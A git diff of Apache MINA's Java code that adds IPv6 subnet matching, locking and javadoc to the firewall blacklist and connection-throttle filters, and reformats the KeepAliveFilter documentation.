+129,8 @@ public void setSubnetBlacklist(Iterable subnets) { /** * Blocks the specified endpoint. + * + * @param address The address to block */ public void block(InetAddress address) { if (address == null) { @@ -131,71 +142,87 @@ public void block(InetAddress address) { /** * Blocks the specified subnet. + * + * @param subnet The subnet to block */ public void block(Subnet subnet) { - if(subnet == null) { + if (subnet == null) { throw new IllegalArgumentException("Subnet can not be null"); } - + blacklist.add(subnet); } - + /** * Unblocks the specified endpoint. + * + * @param address The address to unblock */ public void unblock(InetAddress address) { if (address == null) { throw new IllegalArgumentException("Adress to unblock can not be null"); } - + unblock(new Subnet(address, 32)); } /** * Unblocks the specified subnet. + * + * @param subnet The subnet to unblock */ public void unblock(Subnet subnet) { if (subnet == null) { throw new IllegalArgumentException("Subnet can not be null"); } + blacklist.remove(subnet); } + /** + * {@inheritDoc} + */ @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) { + public void event(NextFilter nextFilter, IoSession session, FilterEvent event) throws Exception { if (!isBlocked(session)) { // forward if not blocked - nextFilter.sessionCreated(session); + nextFilter.event(session, event); } else { blockSession(session); } } + /** + * {@inheritDoc} + */ @Override - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionCreated(NextFilter nextFilter, IoSession session) { if (!isBlocked(session)) { // forward if not blocked - nextFilter.sessionOpened(session); + nextFilter.sessionCreated(session); } else { blockSession(session); } } + /** + * {@inheritDoc} + */ @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { if (!isBlocked(session)) { // forward if not blocked - nextFilter.sessionClosed(session); + nextFilter.sessionOpened(session); } else { blockSession(session); } } + /** + * {@inheritDoc} + */ @Override - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { if (!isBlocked(session)) { // forward if not blocked nextFilter.sessionIdle(session, status); @@ -204,9 +231,11 @@ public void sessionIdle(NextFilter nextFilter, IoSession session, } } + /** + * {@inheritDoc} + */ @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) { + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) { if (!isBlocked(session)) { // forward if not blocked nextFilter.messageReceived(session, message); @@ -215,9 +244,11 @@ public void messageReceived(NextFilter nextFilter, IoSession session, } } + /** + * {@inheritDoc} + */ @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { if (!isBlocked(session)) { // forward if not blocked nextFilter.messageSent(session, writeRequest); @@ -228,17 +259,18 @@ public void messageSent(NextFilter nextFilter, IoSession session, private void blockSession(IoSession session) { LOGGER.warn("Remote address in the blacklist; closing."); - session.close(true); + session.closeNow(); } private boolean isBlocked(IoSession session) { SocketAddress remoteAddress = session.getRemoteAddress(); + if (remoteAddress instanceof InetSocketAddress) { - InetAddress address = ((InetSocketAddress) remoteAddress).getAddress(); - + InetAddress address = ((InetSocketAddress) remoteAddress).getAddress(); + // check all subnets - for(Subnet subnet : blacklist) { - if(subnet.inSubnet(address)) { + for (Subnet subnet : blacklist) { + if (subnet.inSubnet(address)) { return true; } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/firewall/ConnectionThrottleFilter.java b/mina-core/src/main/java/org/apache/mina/filter/firewall/ConnectionThrottleFilter.java index 32f95b84e3..a3c3b6fbdb 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/firewall/ConnectionThrottleFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/firewall/ConnectionThrottleFilter.java @@ -21,9 +21,11 @@ import java.net.InetSocketAddress; import java.net.SocketAddress; -import java.util.Collections; -import java.util.HashMap; +import java.util.Iterator; import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import org.apache.mina.core.filterchain.IoFilter; import org.apache.mina.core.filterchain.IoFilterAdapter; @@ -38,13 +40,61 @@ * @author Apache MINA Project */ public class ConnectionThrottleFilter extends IoFilterAdapter { + /** A logger for this class */ + private final static Logger LOGGER = LoggerFactory.getLogger(ConnectionThrottleFilter.class); + + /** The default delay to wait for a session to be accepted again */ private static final long DEFAULT_TIME = 1000; + /** + * The minimal delay the sessions will have to wait before being created + * again + */ private long allowedInterval; + /** The map of created sessiosn, associated with the time they were created */ private final Map clients; - private final static Logger LOGGER = LoggerFactory.getLogger(ConnectionThrottleFilter.class); + /** A lock used to protect the map from concurrent modifications */ + private Lock lock = new ReentrantLock(); + + // A thread that is used to remove sessions that have expired since they + // have + // been added. + private class ExpiredSessionThread extends Thread { + public void run() { + + try { + // Wait for the delay to be expired + Thread.sleep(allowedInterval); + } catch (InterruptedException e) { + // We have been interrupted, get out of the loop. + return; + } + + // now, remove all the sessions that have been created + // before the delay + long currentTime = System.currentTimeMillis(); + + lock.lock(); + + try { + Iterator sessions = clients.keySet().iterator(); + + while (sessions.hasNext()) { + String session = sessions.next(); + long creationTime = clients.get(session); + + if (creationTime + allowedInterval < currentTime) { + clients.remove(session); + } + } + } finally { + lock.unlock(); + } + } + } + /** * Default constructor. Sets the wait time to 1 second */ @@ -62,7 +112,16 @@ public ConnectionThrottleFilter() { */ public ConnectionThrottleFilter(long allowedInterval) { this.allowedInterval = allowedInterval; - clients = Collections.synchronizedMap(new HashMap()); + clients = new ConcurrentHashMap<>(); + + // Create the cleanup thread + ExpiredSessionThread cleanupThread = new ExpiredSessionThread(); + + // And make it a daemon so that it's killed when the server exits + cleanupThread.setDaemon(true); + + // start the cleanuo thread now + cleanupThread.start(); } /** @@ -74,7 +133,13 @@ public ConnectionThrottleFilter(long allowedInterval) { * before making another successful connection */ public void setAllowedInterval(long allowedInterval) { - this.allowedInterval = allowedInterval; + lock.lock(); + + try { + this.allowedInterval = allowedInterval; + } finally { + lock.unlock(); + } } /** @@ -88,29 +153,39 @@ public void setAllowedInterval(long allowedInterval) { */ protected boolean isConnectionOk(IoSession session) { SocketAddress remoteAddress = session.getRemoteAddress(); + if (remoteAddress instanceof InetSocketAddress) { InetSocketAddress addr = (InetSocketAddress) remoteAddress; long now = System.currentTimeMillis(); - if (clients.containsKey(addr.getAddress().getHostAddress())) { + lock.lock(); - LOGGER.debug("This is not a new client"); - Long lastConnTime = clients.get(addr.getAddress() - .getHostAddress()); + try { + if (clients.containsKey(addr.getAddress().getHostAddress())) { - clients.put(addr.getAddress().getHostAddress(), now); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("This is not a new client"); + } + + Long lastConnTime = clients.get(addr.getAddress().getHostAddress()); + + clients.put(addr.getAddress().getHostAddress(), now); + + // if the interval between now and the last connection is + // less than the allowed interval, return false + if (now - lastConnTime < allowedInterval) { + LOGGER.warn("Session connection interval too short"); + return false; + } - // if the interval between now and the last connection is - // less than the allowed interval, return false - if (now - lastConnTime < allowedInterval) { - LOGGER.warn("Session connection interval too short"); - return false; + return true; } - - return true; + + clients.put(addr.getAddress().getHostAddress(), now); + } finally { + lock.unlock(); } - clients.put(addr.getAddress().getHostAddress(), now); return true; } @@ -118,12 +193,12 @@ protected boolean isConnectionOk(IoSession session) { } @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { if (!isConnectionOk(session)) { LOGGER.warn("Connections coming in too fast; closing."); - session.close(true); + session.closeNow(); } + nextFilter.sessionCreated(session); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/firewall/Subnet.java b/mina-core/src/main/java/org/apache/mina/filter/firewall/Subnet.java index 6a441208c5..377f298bf2 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/firewall/Subnet.java +++ b/mina-core/src/main/java/org/apache/mina/filter/firewall/Subnet.java @@ -1,121 +1,138 @@ /* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ +* Licensed to the Apache Software Foundation (ASF) under one +* or more contributor license agreements. See the NOTICE file +* distributed with this work for additional information +* regarding copyright ownership. The ASF licenses this file +* to you under the Apache License, Version 2.0 (the +* "License"); you may not use this file except in compliance +* with the License. You may obtain a copy of the License at +* +* http://www.apache.org/licenses/LICENSE-2.0 +* +* Unless required by applicable law or agreed to in writing, +* software distributed under the License is distributed on an +* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +* KIND, either express or implied. See the License for the +* specific language governing permissions and limitations +* under the License. +* +*/ package org.apache.mina.filter.firewall; import java.net.Inet4Address; +import java.net.Inet6Address; import java.net.InetAddress; +import org.apache.mina.filter.util.SubnetUtils; +import org.apache.mina.filter.util.SubnetUtils6; + /** - * A IP subnet using the CIDR notation. Currently, only IP version 4 - * address are supported. - * - * @author Apache MINA Project - */ +* A IP subnet using the CIDR notation. Currently, only IP version 4 +* address are supported. +* +* @author Apache MINA Project +*/ public class Subnet { - private static final int IP_MASK = 0x80000000; - private static final int BYTE_MASK = 0xFF; + private SubnetUtils subnetUtils; + private SubnetUtils6 subnetUtils6; - private InetAddress subnet; - private int subnetInt; - private int subnetMask; - private int suffix; + boolean isIpv6; /** - * Creates a subnet from CIDR notation. For example, the subnet - * 192.168.0.0/24 would be created using the {@link InetAddress} - * 192.168.0.0 and the mask 24. - * @param subnet The {@link InetAddress} of the subnet - * @param mask The mask - */ + * Creates a subnet from CIDR notation. For example, the subnet + * 192.168.0.0/24 would be created using the {@link InetAddress} + * 192.168.0.0 and the mask 24. + * + * @param subnet The {@link InetAddress} of the subnet + * @param mask The mask + */ public Subnet(InetAddress subnet, int mask) { - if(subnet == null) { + if (subnet == null) { throw new IllegalArgumentException("Subnet address can not be null"); } - if(!(subnet instanceof Inet4Address)) { - throw new IllegalArgumentException("Only IPv4 supported"); - } - if(mask < 0 || mask > 32) { - throw new IllegalArgumentException("Mask has to be an integer between 0 and 32"); + if (!(subnet instanceof Inet4Address) && !(subnet instanceof Inet6Address)) { + throw new IllegalArgumentException("Only IPv4 and IPV6 supported"); } - - this.subnet = subnet; - this.subnetInt = toInt(subnet); - this.suffix = mask; - - // binary mask for this subnet - this.subnetMask = IP_MASK >> (mask - 1); - } - /** - * Converts an IP address into an integer - */ - private int toInt(InetAddress inetAddress) { - byte[] address = inetAddress.getAddress(); - int result = 0; - for (int i = 0; i < address.length; i++) { - result <<= 8; - result |= address[i] & BYTE_MASK; + if (subnet instanceof Inet4Address) { + // IPV4 address + this.subnetUtils = new SubnetUtils(subnet.getHostAddress() + "/" + mask); + this.subnetUtils.setInclusiveHostCount(true); + isIpv6 = false; + } else { + this.subnetUtils6 = new SubnetUtils6(subnet.getHostAddress(), mask); + isIpv6 = true; } - return result; } /** - * Converts an IP address to a subnet using the provided - * mask - * @param address The address to convert into a subnet - * @return The subnet as an integer - */ - private int toSubnet(InetAddress address) { - return toInt(address) & subnetMask; - } - - /** - * Checks if the {@link InetAddress} is within this subnet - * @param address The {@link InetAddress} to check - * @return True if the address is within this subnet, false otherwise - */ + * Checks if the {@link InetAddress} is within this subnet + * @param address The {@link InetAddress} to check + * @return True if the address is within this subnet, false otherwise + */ public boolean inSubnet(InetAddress address) { - return toSubnet(address) == subnetInt; + if (address.isAnyLocalAddress()) { + return true; + } + + if (this.isIpv6 ) { + if (address instanceof Inet6Address) { + return subnetUtils6.getInfo().isInRange( (Inet6Address) address); + } else { + return false; + } + } else { + if (address instanceof Inet4Address) { + byte[] bytes = address.getAddress(); + int value = ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + (bytes[3] & 0xFF); + return subnetUtils.getInfo().isInRange(value); + } else { + return false; + } + } } /** - * @see Object#toString() - */ + * @see Object#toString() + */ @Override public String toString() { - return subnet.getHostAddress() + "/" + suffix; + if (this.isIpv6 ) { + return subnetUtils6.getInfo().getCidrSignature(); + } else { + return subnetUtils.getInfo().getCidrSignature(); + } + } @Override public boolean equals(Object obj) { - if(!(obj instanceof Subnet)) { + + if (this == obj) { + return true; + } + + if (!(obj instanceof Subnet)) { return false; } - + Subnet other = (Subnet) obj; - - return other.subnetInt == subnetInt && other.suffix == suffix; + + if (this.isIpv6 != other.isIpv6) { + return false; + } + + if (this.isIpv6 ) { + return this.subnetUtils6.getInfo().getCidrSignature().equals(other.subnetUtils6.getInfo().getCidrSignature()); + } else { + return this.subnetUtils.getInfo().getCidrSignature().equals(other.subnetUtils.getInfo().getCidrSignature()); + } } - } diff --git a/mina-core/src/main/java/org/apache/mina/filter/firewall/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/firewall/package-info.java new file mode 100644 index 0000000000..9ba9a31f67 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/firewall/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Classes that implement IoFilter and provide host blocking and throttling. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.firewall; diff --git a/mina-core/src/main/java/org/apache/mina/filter/firewall/package.html b/mina-core/src/main/java/org/apache/mina/filter/firewall/package.html deleted file mode 100644 index ba2dde6eae..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/firewall/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Classes that implement IoFilter and provide host blocking and throttling. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveFilter.java b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveFilter.java index 964de4124b..6479184659 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveFilter.java @@ -19,6 +19,7 @@ */ package org.apache.mina.filter.keepalive; +import org.apache.mina.core.buffer.IoBuffer; import org.apache.mina.core.filterchain.IoFilter; import org.apache.mina.core.filterchain.IoFilterAdapter; import org.apache.mina.core.filterchain.IoFilterChain; @@ -38,14 +39,14 @@ * *

    Interference with {@link IoSessionConfig#setIdleTime(IdleStatus, int)}

    * - * This filter adjusts idleTime of the {@link IdleStatus}s that + * This filter adjusts idleTime of the {@link IdleStatus}s that * this filter is interested in automatically (e.g. {@link IdleStatus#READER_IDLE} - * and {@link IdleStatus#WRITER_IDLE}.) Changing the idleTime + * and {@link IdleStatus#WRITER_IDLE}.) Changing the idleTime * of the {@link IdleStatus}s can lead this filter to a unexpected behavior. * Please also note that any {@link IoFilter} and {@link IoHandler} behind * {@link KeepAliveFilter} will not get any {@link IoEventType#SESSION_IDLE} * event. To receive the internal {@link IoEventType#SESSION_IDLE} event, - * you can call {@link #setForwardEvent(boolean)} with true. + * you can call {@link #setForwardEvent(boolean)} with true. * *

    Implementing {@link KeepAliveMessageFactory}

    * @@ -55,63 +56,82 @@ * message: * * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * - * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * *
    NameDescriptionImplementation
    ActiveYou want a keep-alive request is sent when the reader is idle. - * Once the request is sent, the response for the request should be - * received within keepAliveRequestTimeout seconds. Otherwise, - * the specified {@link KeepAliveRequestTimeoutHandler} will be invoked. - * If a keep-alive request is received, its response also should be sent back. - * Both {@link KeepAliveMessageFactory#getRequest(IoSession)} and - * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must - * return a non-null.
    Semi-activeYou want a keep-alive request to be sent when the reader is idle. - * However, you don't really care if the response is received or not. - * If a keep-alive request is received, its response should - * also be sent back. - * Both {@link KeepAliveMessageFactory#getRequest(IoSession)} and - * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must - * return a non-null, and the timeoutHandler property - * should be set to {@link KeepAliveRequestTimeoutHandler#NOOP}, - * {@link KeepAliveRequestTimeoutHandler#LOG} or the custom {@link KeepAliveRequestTimeoutHandler} - * implementation that doesn't affect the session state nor throw an exception. - *
    PassiveYou don't want to send a keep-alive request by yourself, but the - * response should be sent back if a keep-alive request is received.{@link KeepAliveMessageFactory#getRequest(IoSession)} must return - * null and {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} - * must return a non-null.
    Deaf SpeakerYou want a keep-alive request to be sent when the reader is idle, but - * you don't want to send any response back.{@link KeepAliveMessageFactory#getRequest(IoSession)} must return - * a non-null, - * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must - * return null and the timeoutHandler must be set to - * {@link KeepAliveRequestTimeoutHandler#DEAF_SPEAKER}.
    Silent ListenerYou don't want to send a keep-alive request by yourself nor send any - * response back.Both {@link KeepAliveMessageFactory#getRequest(IoSession)} and - * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must - * return null.
    Message
    NameDescriptionImplementation
    Active + * You want a keep-alive request is sent when the reader is idle. + * Once the request is sent, the response for the request should be + * received within keepAliveRequestTimeout seconds. Otherwise, + * the specified {@link KeepAliveRequestTimeoutHandler} will be invoked. + * If a keep-alive request is received, its response also should be sent back. + * + * Both {@link KeepAliveMessageFactory#getRequest(IoSession)} and + * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must + * return a non-null. + *
    Semi-active + * You want a keep-alive request to be sent when the reader is idle. + * However, you don't really care if the response is received or not. + * If a keep-alive request is received, its response should + * also be sent back. + * + * Both {@link KeepAliveMessageFactory#getRequest(IoSession)} and + * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must + * return a non-null, and the timeoutHandler property + * should be set to {@link KeepAliveRequestTimeoutHandler#NOOP}, + * {@link KeepAliveRequestTimeoutHandler#LOG} or the custom {@link KeepAliveRequestTimeoutHandler} + * implementation that doesn't affect the session state nor throw an exception. + *
    Passive + * You don't want to send a keep-alive request by yourself, but the + * response should be sent back if a keep-alive request is received. + * + * {@link KeepAliveMessageFactory#getRequest(IoSession)} must return + * null and {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} + * must return a non-null. + *
    Deaf Speaker + * You want a keep-alive request to be sent when the reader is idle, but + * you don't want to send any response back. + * + * {@link KeepAliveMessageFactory#getRequest(IoSession)} must return + * a non-null, + * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must + * return null and the timeoutHandler must be set to + * {@link KeepAliveRequestTimeoutHandler#DEAF_SPEAKER}. + *
    Silent Listener + * You don't want to send a keep-alive request by yourself nor send any + * response back. + * + * Both {@link KeepAliveMessageFactory#getRequest(IoSession)} and + * {@link KeepAliveMessageFactory#getResponse(IoSession, Object)} must + * return null. + *
    + * * Please note that you must implement * {@link KeepAliveMessageFactory#isRequest(IoSession, Object)} and * {@link KeepAliveMessageFactory#isResponse(IoSession, Object)} properly @@ -130,7 +150,7 @@ * * {@link KeepAliveRequestTimeoutHandler#DEAF_SPEAKER} is a special handler which is * dedicated for the 'deaf speaker' mode mentioned above. Setting the - * timeoutHandler property to {@link KeepAliveRequestTimeoutHandler#DEAF_SPEAKER} + * timeoutHandler property to {@link KeepAliveRequestTimeoutHandler#DEAF_SPEAKER} * stops this filter from waiting for response messages and therefore disables * response timeout detection. * @@ -139,27 +159,33 @@ */ public class KeepAliveFilter extends IoFilterAdapter { - private final AttributeKey WAITING_FOR_RESPONSE = new AttributeKey( - getClass(), "waitingForResponse"); - private final AttributeKey IGNORE_READER_IDLE_ONCE = new AttributeKey( - getClass(), "ignoreReaderIdleOnce"); + private final AttributeKey WAITING_FOR_RESPONSE = new AttributeKey(getClass(), "waitingForResponse"); + + private final AttributeKey IGNORE_READER_IDLE_ONCE = new AttributeKey(getClass(), "ignoreReaderIdleOnce"); private final KeepAliveMessageFactory messageFactory; + private final IdleStatus interestedIdleStatus; + private volatile KeepAliveRequestTimeoutHandler requestTimeoutHandler; + private volatile int requestInterval; + private volatile int requestTimeout; + private volatile boolean forwardEvent; /** * Creates a new instance with the default properties. * The default property values are: *
      - *
    • interestedIdleStatus - {@link IdleStatus#READER_IDLE}
    • - *
    • policy = {@link KeepAliveRequestTimeoutHandler#CLOSE}
    • - *
    • keepAliveRequestInterval - 60 (seconds)
    • - *
    • keepAliveRequestTimeout - 30 (seconds)
    • + *
    • interestedIdleStatus - {@link IdleStatus#READER_IDLE}
    • + *
    • policy = {@link KeepAliveRequestTimeoutHandler#CLOSE}
    • + *
    • keepAliveRequestInterval - 60 (seconds)
    • + *
    • keepAliveRequestTimeout - 30 (seconds)
    • *
    + * + * @param messageFactory The message factory to use */ public KeepAliveFilter(KeepAliveMessageFactory messageFactory) { this(messageFactory, IdleStatus.READER_IDLE, KeepAliveRequestTimeoutHandler.CLOSE); @@ -169,14 +195,15 @@ public KeepAliveFilter(KeepAliveMessageFactory messageFactory) { * Creates a new instance with the default properties. * The default property values are: *
      - *
    • policy = {@link KeepAliveRequestTimeoutHandler#CLOSE}
    • - *
    • keepAliveRequestInterval - 60 (seconds)
    • - *
    • keepAliveRequestTimeout - 30 (seconds)
    • + *
    • policy = {@link KeepAliveRequestTimeoutHandler#CLOSE}
    • + *
    • keepAliveRequestInterval - 60 (seconds)
    • + *
    • keepAliveRequestTimeout - 30 (seconds)
    • *
    + * + * @param messageFactory The message factory to use + * @param interestedIdleStatus The IdleStatus the filter is interested in */ - public KeepAliveFilter( - KeepAliveMessageFactory messageFactory, - IdleStatus interestedIdleStatus) { + public KeepAliveFilter(KeepAliveMessageFactory messageFactory, IdleStatus interestedIdleStatus) { this(messageFactory, interestedIdleStatus, KeepAliveRequestTimeoutHandler.CLOSE, 60, 30); } @@ -184,13 +211,15 @@ public KeepAliveFilter( * Creates a new instance with the default properties. * The default property values are: *
      - *
    • interestedIdleStatus - {@link IdleStatus#READER_IDLE}
    • - *
    • keepAliveRequestInterval - 60 (seconds)
    • - *
    • keepAliveRequestTimeout - 30 (seconds)
    • + *
    • interestedIdleStatus - {@link IdleStatus#READER_IDLE}
    • + *
    • keepAliveRequestInterval - 60 (seconds)
    • + *
    • keepAliveRequestTimeout - 30 (seconds)
    • *
    + * + * @param messageFactory The message factory to use + * @param policy The TimeOut handler policy */ - public KeepAliveFilter( - KeepAliveMessageFactory messageFactory, KeepAliveRequestTimeoutHandler policy) { + public KeepAliveFilter(KeepAliveMessageFactory messageFactory, KeepAliveRequestTimeoutHandler policy) { this(messageFactory, IdleStatus.READER_IDLE, policy, 60, 30); } @@ -198,29 +227,38 @@ public KeepAliveFilter( * Creates a new instance with the default properties. * The default property values are: *
      - *
    • keepAliveRequestInterval - 60 (seconds)
    • - *
    • keepAliveRequestTimeout - 30 (seconds)
    • + *
    • keepAliveRequestInterval - 60 (seconds)
    • + *
    • keepAliveRequestTimeout - 30 (seconds)
    • *
    + * + * @param messageFactory The message factory to use + * @param interestedIdleStatus The IdleStatus the filter is interested in + * @param policy The TimeOut handler policy */ - public KeepAliveFilter( - KeepAliveMessageFactory messageFactory, - IdleStatus interestedIdleStatus, KeepAliveRequestTimeoutHandler policy) { + public KeepAliveFilter(KeepAliveMessageFactory messageFactory, IdleStatus interestedIdleStatus, + KeepAliveRequestTimeoutHandler policy) { this(messageFactory, interestedIdleStatus, policy, 60, 30); } /** * Creates a new instance. + * + * @param messageFactory The message factory to use + * @param interestedIdleStatus The IdleStatus the filter is interested in + * @param policy The TimeOut handler policy + * @param keepAliveRequestInterval the interval to use + * @param keepAliveRequestTimeout The timeout to use */ - public KeepAliveFilter( - KeepAliveMessageFactory messageFactory, - IdleStatus interestedIdleStatus, KeepAliveRequestTimeoutHandler policy, - int keepAliveRequestInterval, int keepAliveRequestTimeout) { + public KeepAliveFilter(KeepAliveMessageFactory messageFactory, IdleStatus interestedIdleStatus, + KeepAliveRequestTimeoutHandler policy, int keepAliveRequestInterval, int keepAliveRequestTimeout) { if (messageFactory == null) { throw new IllegalArgumentException("messageFactory"); } + if (interestedIdleStatus == null) { throw new IllegalArgumentException("interestedIdleStatus"); } + if (policy == null) { throw new IllegalArgumentException("policy"); } @@ -233,14 +271,25 @@ public KeepAliveFilter( setRequestTimeout(keepAliveRequestTimeout); } + /** + * @return The {@link IdleStatus} + */ public IdleStatus getInterestedIdleStatus() { return interestedIdleStatus; } + /** + * @return The timeout request handler + */ public KeepAliveRequestTimeoutHandler getRequestTimeoutHandler() { return requestTimeoutHandler; } + /** + * Set the timeout handler + * + * @param timeoutHandler The instance of {@link KeepAliveRequestTimeoutHandler} to use + */ public void setRequestTimeoutHandler(KeepAliveRequestTimeoutHandler timeoutHandler) { if (timeoutHandler == null) { throw new IllegalArgumentException("timeoutHandler"); @@ -248,40 +297,59 @@ public void setRequestTimeoutHandler(KeepAliveRequestTimeoutHandler timeoutHandl requestTimeoutHandler = timeoutHandler; } + /** + * @return the interval for keep alive messages + */ public int getRequestInterval() { return requestInterval; } + /** + * Sets the interval for keepAlive messages + * + * @param keepAliveRequestInterval the interval to set + */ public void setRequestInterval(int keepAliveRequestInterval) { if (keepAliveRequestInterval <= 0) { - throw new IllegalArgumentException( - "keepAliveRequestInterval must be a positive integer: " + - keepAliveRequestInterval); + throw new IllegalArgumentException("keepAliveRequestInterval must be a positive integer: " + + keepAliveRequestInterval); } + requestInterval = keepAliveRequestInterval; } + /** + * @return The timeout + */ public int getRequestTimeout() { return requestTimeout; } + /** + * Sets the timeout + * + * @param keepAliveRequestTimeout The timeout to set + */ public void setRequestTimeout(int keepAliveRequestTimeout) { if (keepAliveRequestTimeout <= 0) { - throw new IllegalArgumentException( - "keepAliveRequestTimeout must be a positive integer: " + - keepAliveRequestTimeout); + throw new IllegalArgumentException("keepAliveRequestTimeout must be a positive integer: " + + keepAliveRequestTimeout); } + requestTimeout = keepAliveRequestTimeout; } + /** + * @return The message factory + */ public KeepAliveMessageFactory getMessageFactory() { return messageFactory; } /** - * Returns true if and only if this filter forwards + * @return true if and only if this filter forwards * a {@link IoEventType#SESSION_IDLE} event to the next filter. - * By default, the value of this property is false. + * By default, the value of this property is false. */ public boolean isForwardEvent() { return forwardEvent; @@ -290,45 +358,52 @@ public boolean isForwardEvent() { /** * Sets if this filter needs to forward a * {@link IoEventType#SESSION_IDLE} event to the next filter. - * By default, the value of this property is false. + * By default, the value of this property is false. + * + * @param forwardEvent a flag set to tell if the filter has to forward a {@link IoEventType#SESSION_IDLE} event */ public void setForwardEvent(boolean forwardEvent) { this.forwardEvent = forwardEvent; } + /** + * {@inheritDoc} + */ @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { if (parent.contains(this)) { - throw new IllegalArgumentException( - "You can't add the same filter instance more than once. " + - "Create another instance and add it."); + throw new IllegalArgumentException("You can't add the same filter instance more than once. " + + "Create another instance and add it."); } } + /** + * {@inheritDoc} + */ @Override - public void onPostAdd( - IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { + public void onPostAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { resetStatus(parent.getSession()); } + /** + * {@inheritDoc} + */ @Override - public void onPostRemove( - IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { + public void onPostRemove(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { resetStatus(parent.getSession()); } + /** + * {@inheritDoc} + */ @Override - public void messageReceived( - NextFilter nextFilter, IoSession session, Object message) throws Exception { + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { try { if (messageFactory.isRequest(session, message)) { - Object pongMessage = - messageFactory.getResponse(session, message); + Object pongMessage = messageFactory.getResponse(session, message); if (pongMessage != null) { - nextFilter.filterWrite( - session, new DefaultWriteRequest(pongMessage)); + nextFilter.filterWrite(session, new DefaultWriteRequest(pongMessage)); } } @@ -342,25 +417,36 @@ public void messageReceived( } } + /** + * {@inheritDoc} + */ @Override - public void messageSent( - NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { - Object message = writeRequest.getMessage(); + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { + Object message = writeRequest.getOriginalMessage(); + + if (message == null) + { + if (writeRequest.getMessage() instanceof IoBuffer) { + message = ((IoBuffer)writeRequest.getMessage()).duplicate().flip(); + } + } + if (!isKeepAliveMessage(session, message)) { nextFilter.messageSent(session, writeRequest); } } + /** + * {@inheritDoc} + */ @Override - public void sessionIdle( - NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { if (status == interestedIdleStatus) { if (!session.containsAttribute(WAITING_FOR_RESPONSE)) { Object pingMessage = messageFactory.getRequest(session); + if (pingMessage != null) { - nextFilter.filterWrite( - session, - new DefaultWriteRequest(pingMessage)); + nextFilter.filterWrite(session, new DefaultWriteRequest(pingMessage)); // If policy is OFF, there's no need to wait for // the response. @@ -408,13 +494,11 